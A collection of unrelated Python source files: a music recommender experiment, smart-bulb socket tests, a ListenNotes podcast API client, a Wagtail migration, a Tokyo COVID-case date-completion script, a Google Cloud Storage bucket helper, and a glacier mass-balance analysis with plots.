def service_id(self) -> pulumi.Output[str]:
return pulumi.get(self, "service_id")
| 6,777 | 1,860 |
# -*- coding:utf-8 -*-
from __future__ import (absolute_import, division, print_function, unicode_literals)
import os
import surprise
from surprise import KNNBaseline, Reader
from surprise import Dataset
from surprise import evaluate, print_perf
import csv
from surprise import SVD,SVDpp
from surprise import GridSearch
from surprise import NMF
from pandas import Series
import pandas as pd
from matplotlib import pyplot as plt
if __name__ == '__main__':
csv_reader = csv.reader(open('neteasy_playlist_id_to_name_data.csv',encoding='utf-8'))
id_name_dict = {}
name_id_dict = {}
for row in csv_reader:
id_name_dict[row[0]] = row[1]
name_id_dict[row[1]] = row[0]
csv_reader = csv.reader(open('neteasy_song_id_to_name_data.csv',encoding='utf-8'))
song_id_name_dict = {}
song_name_id_dict = {}
for row in csv_reader:
song_id_name_dict[row[0]] = row[1]
song_name_id_dict[row[1]] = row[0]
file_path = os.path.expanduser('neteasy_playlist_recommend_data.csv')
reader = Reader(line_format='user item rating timestamp', sep=',')
music_data = Dataset.load_from_file(file_path, reader=reader)
music_data.split(n_folds=5)
print('构建数据集')
trainset = music_data.build_full_trainset()
param_grid = { 'n_factors':range(10,30,2), 'n_epochs': [10,15,20], 'lr_all': [0.002, 0.005, 0.1],'reg_all': [0.4, 0.6, 0.8]}
param_grid = { 'n_factors':range(2,22,2), 'n_epochs': [10], 'lr_all': [0.1],'reg_all': [0.4]}
param_grid = { 'n_factors':[2], 'n_epochs':range(11), 'lr_all': [0.1],'reg_all': [0.4]}
grid_search = GridSearch(SVDpp, param_grid, measures=['RMSE', 'MAE'])
grid_search.evaluate(music_data)
print(grid_search.best_params['RMSE'])
print(grid_search.best_params['MAE'])
# 开始训练模型
print('开始训练模型...')
#algo = KNNBaseline()
algo = SVDpp(n_factors=grid_search.best_params['RMSE']['n_factors'],n_epochs=grid_search.best_params['RMSE']['n_epochs'],lr_all=grid_search.best_params['RMSE']['lr_all'],reg_all=grid_search.best_params['RMSE']['reg_all'],verbose=2)
algo=SVDpp()
#algo=SVD()
#algo=SVDpp()
perf = evaluate(algo, music_data, measures=['RMSE', 'MAE'],verbose=1)
print_perf(perf)
#print()
#print('针对歌单进行预测:')
#current_playlist_name =list(name_id_dict.keys())[3]
#print('歌单名称', current_playlist_name)
#playlist_rid = name_id_dict[current_playlist_name]
#print('歌单rid', playlist_rid)
#playlist_inner_id = algo.trainset.to_inner_uid(playlist_rid)
#print('歌曲inid', playlist_inner_id)
#algo.compute_similarities()
#playlist_neighbors_inner_ids = algo.get_neighbors(playlist_inner_id, k=10)
#playlist_neighbors_rids = (algo.trainset.to_raw_uid(inner_id) for inner_id in playlist_neighbors_inner_ids)
#playlist_neighbors_names = (id_name_dict[rid] for rid in playlist_neighbors_rids)
#print()
#print('歌单 《', current_playlist_name, '》 最接近的10个歌单为: \n')
#for playlist_name in playlist_neighbors_names:
# print(playlist_name, algo.trainset.to_inner_uid(name_id_dict[playlist_name]))
print()
print('针对用户进行预测:')
user_inner_id = 300
print('用户内部id', user_inner_id)
user_rating = trainset.ur[user_inner_id]
print('用户评价过的歌曲数量', len(user_rating))
items = map(lambda x:x[0], user_rating)
real_song_id=[]
real_song_name=[]
for song in items:
real_song_id.append(algo.trainset.to_raw_iid(song))
real_song_name.append(song_id_name_dict[algo.trainset.to_raw_iid(song)])
t_l=10
song_list1=list(song_id_name_dict.keys())
rank=[]
for song in song_list1:
rank.append(algo.predict(str(user_inner_id), str(song))[3])
rank=Series(rank)
rank1=rank.sort_values(ascending=False)
predict_song_id=[]
predict_song_name=[]
for i in range(t_l):
predict_song_id.append(song_list1[list(rank1.index)[i]])
predict_song_name.append(song_id_name_dict[song_list1[list(rank1.index)[i]]])
#from pandas import Series
a=Series(real_song_name)
b=Series(predict_song_name)
c=pd.DataFrame({'real':a,'predict':b})
#t_l=20 #取top的长度
#if len(user_rating)<=t_l:
# pre_song=list(rank1.index[range(t_l)])
# real_song=
# correct=
surprise.dump.dump('./knn_baseline.model', algo=algo)
MAE=[]
RMSE=[]
for i in range(10):
MAE.append( grid_search.cv_results['scores'][i]['MAE'])
RMSE.append( grid_search.cv_results['scores'][i]['RMSE'])
x=range(2,22,2)
plt.plot(x,MAE,label='MAE')
plt.plot(x,RMSE,label='RMSE')
plt.legend()
plt.axis([0,22,0.5,1])
x=range(2,22,2)
fig = plt.figure()
ax1 = fig.add_subplot(111)
ax1.plot(x,MAE)
ax1.set_ylabel('MAE')
ax1.set_title("MAE & RMSE")
ax1.set_xticks(x)
ax1.set_xlabel('n_factors')
ax1.legend()
ax2 = ax1.twinx() # this is the important function
ax2.plot(x, RMSE, 'r')
ax2.set_ylabel('RMSE')
plt.show()
MAE=[]
RMSE=[]
for i in range(11):
MAE.append( grid_search.cv_results['scores'][i]['MAE'])
RMSE.append( grid_search.cv_results['scores'][i]['RMSE'])
x=range(1,12,1)
fig = plt.figure()
ax1 = fig.add_subplot(111)
ax1.plot(x,MAE)
ax1.set_ylabel('MAE')
ax1.set_title("MAE & RMSE")
ax1.set_xticks(x)
ax1.set_xlabel('epoch')
ax1.legend()
ax2 = ax1.twinx() # this is the important function
ax2.plot(x, RMSE, 'r')
ax2.set_ylabel('RMSE')
plt.show()
| 5,526 | 2,433 |
"""Tests for the Bulb API with a socket."""
from typing import AsyncGenerator
import pytest
from pywizlight import wizlight
from pywizlight.bulblibrary import BulbClass, BulbType, Features, KelvinRange
from pywizlight.tests.fake_bulb import startup_bulb
@pytest.fixture()
async def socket() -> AsyncGenerator[wizlight, None]:
shutdown, port = await startup_bulb(
module_name="ESP10_SOCKET_06", firmware_version="1.25.0"
)
bulb = wizlight(ip="127.0.0.1", port=port)
yield bulb
await bulb.async_close()
shutdown()
@pytest.mark.asyncio
async def test_model_description_socket(socket: wizlight) -> None:
"""Test fetching the model description of a socket is None."""
bulb_type = await socket.get_bulbtype()
assert bulb_type == BulbType(
features=Features(
color=False,
color_tmp=False,
effect=False,
brightness=False,
dual_head=False,
),
name="ESP10_SOCKET_06",
kelvin_range=KelvinRange(max=2700, min=2700),
bulb_type=BulbClass.SOCKET,
fw_version="1.25.0",
white_channels=2,
white_to_color_ratio=20,
)
@pytest.mark.asyncio
async def test_diagnostics(socket: wizlight) -> None:
"""Test fetching diagnostics."""
await socket.get_bulbtype()
diagnostics = socket.diagnostics
assert diagnostics["bulb_type"]["bulb_type"] == "SOCKET"
assert diagnostics["history"]["last_error"] is None
assert diagnostics["push_running"] is False
@pytest.mark.asyncio
async def test_supported_scenes(socket: wizlight) -> None:
"""Test supported scenes."""
assert await socket.getSupportedScenes() == []
| 1,690 | 578 |
# from __future__ import print_function
# import sys
# import getpass
import os
import requests
import json
# from set_credentials import the_secret_function # borrar esta linea, es solo para el hello world
#Clase necesaria para devolver por APIRest lo correspondiente a los trending podcast
class TrendingPodcasts(object):
def __init__(self, **kwargs):
for field in ('id', 'title', 'publisher', 'image', 'total_episodes', 'description', 'rss', 'language'):
setattr(self, field, kwargs.get(field, None))
#---------------------------------------------------#
#-----Todo esto pertenece a la api listennotes------#
#Para poder usarla debemos:
# -Poner el logo de ListenApi cuando se use el buscador de podcasts
# -No guardar ningun podcast en la BD
# -Permite 10000 peticiones al mes
class Podcasts_api:
def __init__(self, url = 'https://listen-api.listennotes.com/api/v2', key = 'COMPLETAME_PORFA'):
self.url = url
self.key = os.getenv('LISTENNOTES_KEY')
self.headers = {
'X-ListenAPI-Key' : self.key
}
# Existen muchos parámetros, de momento creo que los más importantes son los siguientes
# -query: nombre del podcast (obligatorio)
# -genres: lista con ids de géneros de listennotes
# -type: episode, podcast, curated (default: episode)
# -language: lenguaje del podcast (default: all languages)
# -sort_by_date: indica si muestra los podcast ordenados por fecha (0 = NO y muestra por relevancia)
def search(self, query, genres, type='podcast', language='Spanish', sort_by_date=0):
#Contiene los parámetros para la búsqueda de podcast
querystring = { 'q': query, 'genre_ids': genres,'type': type, 'language': language,
'sort_by_date': sort_by_date
}
#Se debe añadir /search para que la url sea correcta
response = requests.get(self.url + '/search', headers=self.headers, params=querystring)
#print(response.headers['X-ListenAPI-Usage'])
if response.status_code != 200:
return 'ERROR'
print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage'])
return response.json()#response.json() ## TODO: Cuando tenga la API KEY, se podrá terminar
#Devuelve los mejores podcasts en funcion de los parámetros
# -genre_id: genero de los podcast. Más info: get_genres()
# -region: región del podcast. Más info: get_regions()
def get_bestpodcast(self, genre_id = None , region='es' ):
querystring = {
'genre_id': genre_id, 'region': region
}
response = requests.get(self.url + '/best_podcasts', headers=self.headers, params=querystring)
#Mostramos las peticiones restantes
print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage'])
if response.status_code != 200:
return 'ERROR'
return response.json()['podcasts']
# Dado un id, devuelve TODA información sobre un podcast, en formato JSON
# Solo puede devolver 10 episodios
# -id: Id del podcast a buscar
# -sort: recent_first|| oldest_first (default: recent_first)
def get_detailedInfo_podcast(self, id, sort='recent_first'):
querystring = {
'id': id
}
response = requests.get(self.url + '/podcasts/'+id, headers=self.headers, params=querystring)
print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage'])
if response.status_code != 200:
return 'ERROR'
return response.json()
# Devuelve TODOS los episodios de un podcast
# -id: Id del podcast a buscar
# -sort: recent_first|| oldest_first (default: recent_first)
def get_allEpisodes(self, id, sort='oldest_first'):
querystring = {
'id': id,
'sort': sort
}
response = requests.get(self.url + '/podcasts/'+id, headers=self.headers, params=querystring)
if response.status_code != 200:
return 'ERROR', 'ERROR'
podcast = response.json()
result = episodes = response.json()["episodes"]
veces = 0
while (len(episodes) in range(1,11)) and veces in range(0,3):
veces+=1
pub_date = response.json()["next_episode_pub_date"]
querystring = {
'id': id,
'next_episode_pub_date': pub_date,
'sort': sort
}
response = requests.get(self.url + '/podcasts/'+id, headers=self.headers, params=querystring)
episodes = response.json()["episodes"]
result += episodes
# print(episodes)
# print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage'])
print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage'])
return podcast, result
# Dado un id, devuelve TODA información sobre un episodio, en formato JSON
def get_detailedInfo_episode(self, id):
querystring = {
'id': id
}
response = requests.get(self.url + '/episodes/'+id, headers=self.headers, params=querystring)
if response.status_code != 200:
return 'ERROR'
print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage'])
return response.json()
#Devuelve todos los géneros a los que puede pertenecer podcast
def get_genres(self):
response = requests.get(self.url + '/genres', headers=self.headers)
if response.status_code != 200:
return 'ERROR'
print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage'])
return response.json()['genres']
#Devuelve las posibles regiones de podcast en forma de json
def get_regions(self):
response = requests.get(self.url + '/regions', headers=self.headers)
if response.status_code != 200:
return 'ERROR'
print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage'])
return response.json()
#Devuleve un episodio de un podcast random. No necesita parámetros
def get_randomEpisode(self):
response = requests.get(self.url + '/just_listen', headers=self.headers)
if response.status_code != 200:
return 'ERROR'
print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage'])
return response.json()
#Recomienda términos de búsqueda, géneros de podcasts y Podcasts_api
# -query: Término de búsqueda, p.ej: star wars. Si se pone con comillas ("star wars"), la búsqueda es literal
# -show_podcasts: 1 para auto-sugerir podcasts(con información mínima). 0 para no sugerir.
# -show_genres: 1 para recomendar géneros de acuerdo a 'query'. 0 para no recomendar.
def get_suggested_podcasts(self, query, show_podcasts=0, show_genres=0):
querystring = {
'q': query,
'show_podcasts': show_podcasts,
'show_genres' : show_genres
}
response = requests.get(self.url + '/typeahead', headers=self.headers, params=querystring)
if response.status_code != 200:
return 'ERROR'
print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage'])
return response.json()
#Devuelve el podcast correspondiente y la lista de sus episodios
def get_by_name(self,name):
result = self.search(query=name, type='podcast', sort_by_date=1)
#'Results' es la lista de podcast devuelta en el JSON
if result != 'ERROR':
pod_id = result["results"][0]["id"]
podcast = self.get_detailedInfo_podcast(id=pod_id)
episodes = podcast["episodes"]
#lista_final = [(l["title"], l["audio"]) for l in episodes]
return podcast , episodes
else:
print('ERROR: Podcast not found.')
return None, None
# Devuelve un lote de episodios, dado un string de ids separados por comas.
# Evita realizar varias llamadas a la api
def get_many_episodes(self, ids):
querystring = {
'ids': ids
}
response = requests.post(self.url + '/episodes', headers=self.headers, data=querystring)
if response.status_code != 200:
return 'ERROR'
return response.json()["episodes"]
def get_podcast_recommendation(self, id):
# querystring = {
# 'id': id
# }
response = requests.get(self.url + '/podcasts/' + id + '/recommendations', headers=self.headers)
if response.status_code != 200:
return 'ERROR'
print('DEBUG ----- Usage: ', response.headers['X-ListenAPI-Usage'])
return response.json()["recommendations"]
# Al final la he puesto en models como una property
# convierte la uri de listennotes de un audio a la uri del audio real al que redirige con un 302
# # se usara en el serializador, puede que la direccion final cambie en el tiempo
# def get_real_uri(self, uri):
# return "WORK IN PROGRESS EN PODCASTS.PY"
# Para probar que funciona
if __name__ == '__main__':
the_secret_function()
pd = Podcasts_api()
# Este es un ejemplo de uso en el que:
# -Se busca un podcast con el método search y se coge el primero. (se muestra su canal)
# -Se busca información detallada de ese podcast
# -Se busca información detallada de cada uno de los episodios de ese podcast
result = pd.search(query="La vida moderna", type='podcast', sort_by_date=1)
#'Results' es la lista de podcast devuelta en el JSON
pod_id = result["results"][0]["id"]
result = pd.get_detailedInfo_podcast(id=pod_id)
print("Nombre de poscast: " + result["title"])
print("Canal del podcast: " + result["publisher"])
episodes = result["episodes"]
lista_final = [(l["title"], l["audio"]) for l in episodes]
result = json.dumps(lista_final)
parsed = json.loads(result)
# Si se quiere acceder al archivo mp3:
# curl -L -s -w %{url_effective} --request GET <audio_listennotes>
print(json.dumps(parsed, indent=2, sort_keys=True))
| 10,303 | 3,302 |
# Generated by Django 3.0.5 on 2020-08-03 15:07
from django.db import migrations, models
import klimaat_helpdesk.cms.blocks
import wagtail.core.blocks
import wagtail.core.fields
class Migration(migrations.Migration):
dependencies = [
('cms', '0010_categoryanswerrelationship'),
]
operations = [
migrations.AddField(
model_name='answer',
name='featured',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='answer',
name='type',
field=models.CharField(choices=[('column', 'Column'), ('anwswer', 'Antwoord')], default='answer', max_length=100),
),
migrations.AlterField(
model_name='answer',
name='answer_origin',
field=wagtail.core.fields.StreamField([('origin', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.CharBlock(max_length=255)), ('content', wagtail.core.blocks.RichTextBlock()), ('sources', wagtail.core.blocks.ListBlock(klimaat_helpdesk.cms.blocks.ScientificSourceBlock))]))], blank=True),
),
migrations.AlterField(
model_name='answer',
name='related_items',
field=wagtail.core.fields.StreamField([('related_items', wagtail.core.blocks.StructBlock([('items', wagtail.core.blocks.ListBlock(wagtail.core.blocks.PageChooserBlock(page_type=['cms.Answer'])))]))], blank=True),
),
]
| 1,465 | 475 |
"""Models for Ping Socket platform."""
from __future__ import annotations
from typing import TypedDict
from homeassistant.helpers.template import Template
class PingSocketSensorConfig(TypedDict):
"""TypedDict for PingSocketSensor config."""
name: str
host: str
port: str
timeout: int
payload: str | None
value_template: Template | None
value_on: str | None
buffer_size: int
| 415 | 123 |
"""年を補完した日付を付加する。(for 東京都福祉保健局/都内感染者の状況)
東京都の資料には日付の項目に年の情報がないので、それを補完する。
各レコードの終端に、 Y/M/D 形式のリリース日、発症日、確定日を追加する。
使い方
------
data/0104.csv から data/0104_c.csv (ファイル名に _c 追加、Y/M/D タイムスタンプ追加)を作る場合:
$ cmp_year.py data/0104.csv
レコード構成
------------
0:'リリース日'
1:'居住地'
2:'年代'
3:'性別'
4:'属性(職業等)'
5:'渡航歴'
6:'接触歴'
7:'発症日'
8:'確定日'
9: '重症',
10 '退院等'
--- 以下を追加 ---
11:'リリース日YMD'
12:'発症日YMD'
13:'確定日YMD'
NOTES
-----
リリース日は昇順に並んでいることを仮定している。
再発で表が更新されたときに、各日付がどのように変更されるか分からないので、
正しい対処というのも分からない。
"""
import sys
import os
import re
from datetime import datetime, timedelta
import csv
def get_month_day(x):
m = re.match(r'(\d+)月(\d+)日', x)
if m:
month = int(m.group(1))
day = int(m.group(2))
else:
month = 0
day = 0
return month, day
def date_str(x):
return x.strftime('%Y/%m/%d')
def complement_year(date_ref, m, d):
""" 年を補完して日付を作る
年が不明の月日をのうち基準日に近いものを選ぶ。
探す範囲は、基準日の年を Y として Y±1 年。
Parameters
----------
date_ref, datetime : 規準日
m, int : 月
d, int : 日
Returns
-------
date, datetime : 年を補完した日付
Notes
-----
基準日として公表日を選ぶと、発症や診断は必ず過去になるので仕様は緩め。
再発のケースの扱いなど不明な点も多いので、とりあえず差が小さいものを
選ぶことにした。年の ambiguity を解決する方法として、基準日の月と目的
の月の大小関係で場合分けすることが多いと思うが、ここでは、候補をいく
つか計算したうえで、一番近いものを選んでいる。仕様との意味的な対応も
よく、if の条件式の設定で悩む事もない。加えて、(見やすさはともかくと
して、)その気になれば一つの式で表現できるという素敵な性質を有している。
"""
yy = [date_ref.year + a for a in (-1, 0, 1)] # 年の候補
dd = [datetime(a, m, d) for a in yy] # 対応する日付
err_date = [(abs((a - date_ref).days), a) for a in dd] # 基準日からの差と日付
err_, date = sorted(err_date)[0] # 昇順に並べた先頭(差が最小)
if abs((date - date_ref).days) > 150:
sys.stderr.write('WARNING : date %s - date_ref %s > 150 day \n' % (date, date_ref))
return date
def _ymd(date_rel, x):
""" ○月×日 ==> YYYY/MM/DD (YYYY は、date_rel 使って補完)
Parameters
----------
date_rel, datetime : リリース日
x, str: 日付 '○月×日'
Returns
-------
ym, str : 年月日を表す文字列 'YYYY/MM/DD'
"""
m, d = get_month_day(x)
if m != 0:
date = complement_year(date_rel, m, d)
ymd = date_str(date)
else:
ymd = ''
return ymd
def main():
""" *.csv と同じフォルダに *_c.csv を作る。
ファイル名に _c を付加。
各レコードの終端に、Y/M/D 形式の日付情報を追加。
"""
path_src = sys.argv[1]
with open(path_src, encoding='sjis') as csv_source:
buf = [a for a in csv.reader(csv_source)]
buf[0] = buf[0] + ['リリース日YMD', '発症日YMD', '確定日YMD'] # ヘッダー追加
y_rel = 2020 # 年の初期値
m_prv = None # 前のレコードの月
for x in buf[1:]: # skip header
# リリース日(新年検出)
#
m_rel, d_rel = get_month_day(x[0]) # リリース日の月,日
if m_prv and (m_rel < m_prv):
y_rel = y_rel + 1
print('detect new year %d %d %d ' % (y_rel, m_rel, d_rel))
m_prv = m_rel
date_rel = datetime(y_rel, m_rel, d_rel)
# 追加情報
x.append(date_str(date_rel)) # x[11] リリース日YMD
x.append(_ymd(date_rel, x[7])) # x[12] 発症日YMD
x.append(_ymd(date_rel, x[8])) # x[13] 確定日YMD
fn_dir, fn_fn = os.path.split(path_src)
fn_base, fn_ext = os.path.splitext(fn_fn)
path_dst = os.path.join(fn_dir, '%s_c.csv' % (fn_base))
with open(path_dst, 'w', newline='', encoding='sjis') as csv_file:
wr = csv.writer(csv_file)
wr.writerows(buf)
if __name__ == '__main__':
main()
| 3,460 | 2,115 |
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Workflow for creating the bucket used for file uploads."""
from django_cloud_deploy.cloudlib import storage
from google.auth import credentials
class FileBucketCreationWorkflow(object):
"""A class to control the workflow of serving static content."""
def __init__(self, credentials: credentials.Credentials):
self._storage_client = (
storage.StorageClient.from_credentials(credentials))
def create_file_bucket(self, project_id: str, bucket_name: str):
"""Create bucket and assign correct permissions.
The public Google Cloud Storage Bucket will hold files uploaded to the
Django app.
Args:
project_id: Id of GCP project.
bucket_name: Name of the Google Cloud Storage Bucket
used to store files by the Django app. By default it is equal to
files-project id.
"""
self._storage_client.create_bucket(project_id, bucket_name)
| 1,544 | 409 |
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import netCDF4 as nc
from scipy.stats import linregress
import cartopy.crs as ccrs
import cartopy as car
#========== IMPORT INPUT AND FUNCTIONS FROM MODULES ===================================================================
import pygem_input as input
import pygemfxns_postprocessing as post
#%% DATA EXTRACTION
regionO1_number = str(input.rgi_regionsO1[0])
NETfullfilename=(input.output_filepath + ('PyGEM_R'+regionO1_number+ '_ERA-Interim_'+ str((input.startyear)) + '_' +str(input.endyear) + '_1' ) )
# non-elevation dependant temp =
glac_temp1=pd.read_csv(input.main_directory + '/../ERAInt_Sim_Selection/' + 'RGI_0'
+ str(input.rgi_regionsO1[0]) + '_ERA_Int_Glacier_Temp.csv')
glac_prec1=pd.read_csv(input.main_directory + '/../ERAInt_Sim_Selection/' + 'RGI_0'
+ str(input.rgi_regionsO1[0]) + '_ERA_Int_Glacier_PPT.csv')
output = nc.Dataset(NETfullfilename +'.nc')
#year ragne
year= range((input.startyear-1),input.endyear)
## Select relevant data
glacier_data = pd.DataFrame(output['glacier_table'][:])
glacier_data_columns = output['glacier_table_header'][:]
lats = glacier_data[2].values.astype(float)
lons = glacier_data[1].values.astype(float)
massbal_monthly = output['massbaltotal_glac_monthly'][:]
volume=output['volume_glac_annual'][:]
RGI=output['glac_idx'][:]
temp=output['temp_glac_monthly'][:]
prec=output['prec_glac_monthly'][:]
glac_elev=glacier_data[17][:].astype(float).values
glac_area=glacier_data[5][:].astype(float).values
#%% Mass balance total over time period, mass balance averaged/yr, rate of change: for rate of change
# do yearly average plot for entire glacier
#do area weighted mass balance for each reigon (how to do that?)
#for future SIM: do time slices and do total mass balance/yearly average + everything above for each
#slice
# do temp and ppt plots: for both the temp and ppt over that period as well as the glacier temp and ppt
# that is adjusted for hypsometry to show the difference
#volume change.... area weighted
#%% MASS BALANCE TOTAL AND AVERAGE OVER OBVS PERIOD: MAPS
# total mass balance of each glacier for period of observation (mwe)
massbal_total= massbal_monthly.sum(axis=1)/(massbal_monthly.shape[1]/12)
# total mass balance of each glacier averaged over years of observation (mwea)
massbal_averaged=massbal_total/len(year)
#land definition for plotting
land_50m = car.feature.NaturalEarthFeature('physical', 'land', '50m',
edgecolor='k',
facecolor='none')
# lat/long definition for plot
east = int(round(lons.min())) - 1
west = int(round(lons.max())) + 1
south = int(round(lats.min())) - 1
north = int(round(lats.max())) + 1
xtick = 1
ytick = 1
# define title
title=('R'+str(regionO1_number) + ' ' + str(input.startyear) +'-' + str(input.endyear))
proj_crs = ccrs.PlateCarree()
projection = ccrs.RotatedPole(pole_longitude=40, pole_latitude=37.5)
geo_axes = plt.axes(projection=projection)
# total mass balance map
plt.figure(1)
plt.figure(figsize=(10,10))
ax = plt.axes(projection=projection)
ax.add_feature(land_50m)
scat=ax.scatter(lons, lats, c=massbal_total,transform=proj_crs, cmap='seismic_r', vmin=-4, vmax=4, edgecolors='black')
cbar=plt.colorbar(scat, fraction=0.02, pad=0.04)
plt.axes(projection=projection)
cbar.set_label('Mass Balance mwe')
plt.title('Total Mass Balance '+ title)
# annual mass balance average map
plt.figure(2)
plt.figure(figsize=(10,10))
ax = plt.axes(projection=projection)
ax.add_feature(land_50m)
scat=ax.scatter(lons, lats, c=massbal_averaged,transform=proj_crs, cmap='seismic_r', vmin=-0.15, vmax=0.15) #edgecoors='black' ???
cbar=plt.colorbar(scat, fraction=0.02, pad=0.04)
plt.axes(projection=projection)
cbar.set_label('Mass Balance mwea')
plt.title('Average Mass Balance '+ title)
#should i make plots of JUST positive and JUST negative? would need edge colors then
#%% LINEAR REGRESSION/SLOPE AND YEARLY PLOTS
# annual mass balance for each glacier for period of observation
massbal_annual=(np.sum(massbal_monthly.reshape(-1,12),axis=1)).reshape(len(massbal_total),len(year))
# annual mass balance for entire region
massbal_annual_total=np.sum(massbal_annual, axis=0)
# linear regression trends for entire period
linreg_info=[('RGIId','slope','incercept','r_val','p_val','std_err')]
slopes=[]
# removes slopes that have sig below 95%
for i in range(0,len(massbal_total)):
slope, intercept, r_value, p_value, std_err = linregress(year, massbal_annual[i])
RGI=glacier_data[0][i]
if p_value > 0.05:
slope=float('nan')
if glacier_data[13][i] != 0:
appends=(RGI, 'nan','nan','nan','nan','nan')
else:
appends=(RGI, slope, intercept,r_value, p_value, std_err)
linreg_info.append(appends)
slopes.append(slope)
# plot glacier wide mass balance over time period
plt.figure(3)
plt.plot(year,massbal_annual_total)
plt.xlabel('Year')
plt.ylabel('Mass Balance mwe')
plt.title('Region Total Mass Balance' + title)
# plot glacier slopes map for entire period
plt.figure(4)
plt.figure(figsize=(10,10))
ax = plt.axes(projection=projection)
ax.add_feature(land_50m)
ax.scatter(lons,lats,c=[0.8,0.8,0.8], transform=proj_crs) #,edgecolors='black')
scat=ax.scatter(lons, lats, c=slopes,transform=proj_crs, cmap='seismic_r', vmin=-0.2,vmax=0.2)#, edgecolors='black')
cbar=plt.colorbar(scat, fraction=0.02, pad=0.04)
plt.axes(projection=projection)
cbar.set_label('Mass Balance mwea')
plt.title('Rate of Mass Balance Change '+ title)
#%% TEMP & PREC FOR THE REGION, ELEVATION ADJUSTED AND NOT
#convert to float
glac_temp=glac_temp1.iloc[:,1:].astype(float).values
glac_prec=glac_prec1.iloc[:,1:].astype(float).values
#get average temp/prec for region
annual_temp=(np.sum(glac_temp.reshape(-1,12),axis=1).reshape(len(lats),len(year)))/12
annual_prec=np.sum(glac_prec.reshape(-1,12),axis=1).reshape(len(lats),len(year)) #total prec
average_temp=(annual_temp.sum(axis=0))/(len(lats))
average_prec=(annual_prec.sum(axis=0))/(len(lats))
# average temp/prec adjusted for glacier elevation
glac_annual_temp=(np.sum(temp.reshape(-1,12),axis=1).reshape(len(lats),len(year)))/12
glac_annual_prec=np.sum(prec.reshape(-1,12),axis=1).reshape(len(lats),len(year)) #total prec
glac_average_temp=(glac_annual_temp.sum(axis=0))/(len(lats))
glac_average_prec=(glac_annual_prec.sum(axis=0))/(len(lats))
# check offset/diference
temp_diff=average_temp-glac_average_temp
ppt_diff=average_prec-glac_average_prec
# check if offset is apropriate (approx 3.5 degC w/ 1000m and 24.5% ppt decrease)
elev_ave=np.sum(glac_elev)/len(lats)
temp_offset=(elev_ave/1000)*3.5
ppt_offset=(((elev_ave/1000)*24.5)/100)*(np.sum(average_prec, axis=0)/len(average_prec))
plt.figure(5)
plt.plot(year,average_temp)
plt.plot(year, glac_average_temp)
plt.plot(year, temp_diff, color=[0.5,0.5,0.5])
plt.xlabel('Year')
plt.ylabel('Tempearture (C)')
plt.title('Region-Average Temperature ' + title)
plt.legend(['Not Adjusted','Adjusted', 'Difference'])
plt.figure(6)
plt.plot(year,average_prec)
plt.plot(year, glac_average_prec)
plt.plot(year, ppt_diff, color=[0.5,0.5,0.5])
plt.xlabel('Year')
plt.ylabel('Precipitation (m)')
plt.title('Region-Average Annual Precipitation ' + title)
plt.legend(['Not Adjusted','Adjusted','Difference'])
print('expected temp offset =' + str(temp_offset) + 'C')
print('expected ppt offset= ' + str(ppt_offset) + 'm')
#this will probably change with future stuff because elevation will not be constant
#%% AREA WEIGHTED AVERAGE
# total glacier area
area_total=np.sum(glac_area, axis=0)
# area percentage for each glacier
area_prcnt=[x/area_total for x in glac_area]
# area weighted glacier average
glac_area_w=np.sum(massbal_total*area_prcnt, axis=0)
# not weighted glacier average
glac_area_nw=(np.sum(massbal_total, axis=0))/len(lats)
year_weight=[]
# area weighted annual values
for y in range(0,len(year)):
yeararea=pd.Series(massbal_annual[:,y]*area_prcnt)
year_weight.append(yeararea)
df_area=(pd.DataFrame(year_weight))
areaweight_annual=df_area.T
# final area weighted annual values
areaweight_total=np.sum(areaweight_annual, axis=0)
plt.figure(7)
plt.plot(year, areaweight_total)
plt.xlabel('Year')
plt.ylabel('Mass Balance (mwe)')
plt.title('Area Weighted Mass Balance ' + title)
#%% VOLUME CHANGE ANALYSIS, INCLUDING AREA-WEIGHTED
#years needed for volume
year2= range((input.startyear-2),input.endyear)
# total volume change
volume_total=volume.sum(axis=0)
volume_perglac=volume_total/len(lats)
# volume percentage change
volume_first=volume_total[0]
volume_prcnt=volume_total/volume_first
# area weighted volume change
vol_weight=[]
for y in range(0,(len(year)+1)):
volarea=pd.Series(volume[:,y]*area_prcnt)
vol_weight.append(volarea)
df_vol=(pd.DataFrame(vol_weight))
volweight_annual=df_vol.T
volweight_total=np.sum(volweight_annual, axis=0)
for i in range(5,len(year2)): #this code really needs to be improved... need to incorporate another for loop
test=i-1
test2=i-2
test3=i-3
test4=i-4
test5=i-5
volchange1=abs(volume_prcnt[test]-volume_prcnt[i])
volchange2=abs(volume_prcnt[test2]-volume_prcnt[test])
volchange3=abs(volume_prcnt[test3]-volume_prcnt[test2])
volchange4=abs(volume_prcnt[test4]-volume_prcnt[test3])
volchange5=abs(volume_prcnt[test5]-volume_prcnt[test4])
if volchange1 and volchange2 and volchange3 and volchange4 and volchange5 <= 0.0001:
print (year[i])
volume_change=[]
for x in range(0,len(year2)-1):
yr=x+1
change=(volume_total[yr]-volume_total[x])
volume_change.append(change)
plt.figure(8)
plt.plot(year2,volume_total)
plt.title('Total Glacier Volume ' + title)
plt.xlabel('Year')
plt.ylabel('Volume km3')
plt.figure(9)
plt.plot(year2,volume_prcnt)
plt.title('% Glacier Volume Change ' + title)
plt.xlabel('Year')
plt.ylabel('Percent (%)')
plt.figure(10)
plt.plot(year,volume_change)
plt.title('Total Volume Change ' + title)
plt.xlabel('Year')
plt.ylabel('Volume km3')
plt.figure(11)
plt.plot(year2, volweight_total)
